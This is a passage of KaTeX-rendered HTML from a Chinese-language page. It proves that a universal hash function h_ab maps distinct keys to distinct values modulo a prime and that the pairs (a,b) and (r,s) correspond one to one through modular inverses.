style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>d</mi><mo>=</mo><mi>b</mi><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">d = b \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span>，有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>c</mi><mo>−</mo><mi>d</mi><mo>≡</mo><mo stretchy="false">(</mo><mi>a</mi><mo>−</mo><mi>b</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.4444em"/><mo stretchy="false">(</mo><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mspace width="0.3333em"/><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">c - d \equiv (a - b) \pmod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">c</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.4444em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.3333em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span></p></blockquote><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 是素数，且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mi>l</mi></mrow><annotation encoding="application/x-tex">k - l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 模 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 都不为 0（因为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mi>l</mi></mrow><annotation encoding="application/x-tex">k - l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 都小于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span>），所以根据定理 31.6，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mo stretchy="false">(</mo><mi>k</mi><mo>−</mo><mi>l</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">a(k - l) \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">a</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span> 也不为 0，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo mathvariant="normal">≠</mo><mi>s</mi></mrow><annotation encoding="application/x-tex">r \ne s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span>。</p><blockquote><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 是素数，且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi></mrow><annotation encoding="application/x-tex">a</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span></span></span></span> 不是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 的倍数，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>b</mi></mrow><annotation encoding="application/x-tex">b</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span></span></span></span> 也不是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 的倍数，那么它们的乘积 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>a</mi><mi>b</mi></mrow><annotation encoding="application/x-tex">ab</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">ab</span></span></span></span> 也一定不是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 的倍数。</p></blockquote><p>由 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mo mathvariant="normal">≠</mo><mi>s</mi></mrow><annotation encoding="application/x-tex">r \ne s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">s</span></span></span></span>，可知 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>l</mi></mrow><annotation encoding="application/x-tex">l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 不可能被 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub></mrow><annotation encoding="application/x-tex">h_{ab}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 映射到同一个槽位上，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo mathvariant="normal">≠</mo><msub><mi>h</mi><mrow><mi>a</mi><mi>b</mi></mrow></msub><mo stretchy="false">(</mo><mi>l</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h_{ab}(k) \ne h_{ab}(l)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ab</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span></span></span></span>。</p><hr /><p>那么，接下来需要证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(a, b)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">a</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">b</span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 双射。</p><p>由于</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>a</mi><mo>=</mo><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>r</mi><mo>−</mo><mi>s</mi><mo stretchy="false">)</mo><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>k</mi><mo>−</mo><mi>l</mi><msup><mo stretchy="false">)</mo><mrow><mo>−</mo><mn>1</mn></mrow></msup><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">a = ((r-s) ((k-l)^{-1} \mod p)) \mod p </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mclose">))</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span></span></p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>b</mi><mo>=</mo><mo stretchy="false">(</mo><mi>r</mi><mo>−</mo><mi>a</mi><mi>k</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi></mrow><annotation encoding="application/x-tex">b = (r -ak) \mod p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">ak</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mo stretchy="false">(</mo><mi>k</mi><mo>−</mo><mi>l</mi><msup><mo stretchy="false">)</mo><mrow><mo>−</mo><mn>1</mn></mrow></msup><mspace></mspace><mspace width="0.6667em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>p</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">((k-l)^{-1} \mod p)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">((</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0641em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:0.6667em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mclose">)</span></span></span></span> 是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mi>l</mi></mrow><annotation encoding="application/x-tex">k-l</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span></span></span></span> 关于模 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 的乘法逆元，存在且唯一。</p><blockquote><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn><mo>&lt;</mo><mi mathvariant="normal">∣</mi><mi>k</mi><mo>−</mo><mi>l</mi><mi mathvariant="normal">∣</mi><mo>&lt;</mo><mi>p</mi></mrow><annotation encoding="application/x-tex">0 &lt; |k - l| &lt; p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6835em;vertical-align:-0.0391em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">∣</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord">∣</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 且 且 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 是素数，那么 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>k</mi><mo>−</mo><mi>l</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(k - l)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">)</span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 互素<br />而一个数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 在模 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 下存在模逆元（Modular Multiplicative Inverse），当且仅当 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 与 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>p</mi></mrow><annotation encoding="application/x-tex">p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span> 互素。</p></blockquote><p>所以根据 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>r</mi><mo separator="true">,</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">(r,s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">s</span><span class="mclose">)</span></span></span></span> 可以解出唯一的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo separator="true">,</mo><mi>b</mi><mo stretchy="false">)</mo></mrow><annotation 